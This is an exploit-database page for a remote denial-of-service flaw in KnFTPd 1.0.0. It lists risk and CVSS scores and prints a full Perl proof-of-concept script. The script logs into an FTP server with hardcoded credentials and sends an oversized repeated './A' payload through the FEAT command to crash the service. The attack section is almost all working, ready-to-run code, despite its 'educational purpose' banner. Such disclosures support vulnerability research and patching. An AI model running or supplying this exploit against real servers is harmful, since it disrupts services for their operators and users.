KnFTPd 1.0.0 Denial Of Service

2012-03-29 / 2012-11-26
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/perl ################################################################################# # Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit # Author: Stefan Schurtz # Affected Software: Successfully tested on KnFTPd 1.0.0 # Vendor URL: http://knftp.sourceforge.net/ # Vendor Status: informed # CVE-ID: - # PoC-Version: 1.0 ################################################################################# use strict; use Net::FTP; my $user = "system"; my $password = "secret"; ######################## # connect ######################## my $target = $ARGV[0]; my $plength = $ARGV[1]; print "\n"; print "\t#######################################################\n"; print "\t# This PoC-Exploit is only for educational purpose!!! #\n"; print "\t#######################################################\n"; print "\n"; if (!$ARGV[0]||!$ARGV[1]) { print "[+] Usage: $@ <target> <payload length>\n"; exit 1; } my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@"; print "[+] Connected to $target\n"; ######################## # login ######################## $ftp->login($user,$password) or die "Cannot login ", $ftp->message; print "[+] Logged in with user $user\n"; ################################################### # Building payload './A' with min. length of 94 ################################################## my @p = ( "","./A" ); my $payload; print "[+] Building payload\n"; for (my $i=1;$i<=$plength;$i++) { $payload .= $p[$i]; push(@p,$p[$i]); } sleep(3); ######################################### # Sending payload ######################################### print "[+] Sending payload [$payload]\n"; $ftp->quot('FEAT ' ."$payload"); ########################################## # disconnect ########################################## print "[+] Done\n"; $ftp->quit; exit 0; #EOF

References:

http://knftp.sourceforge.net/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top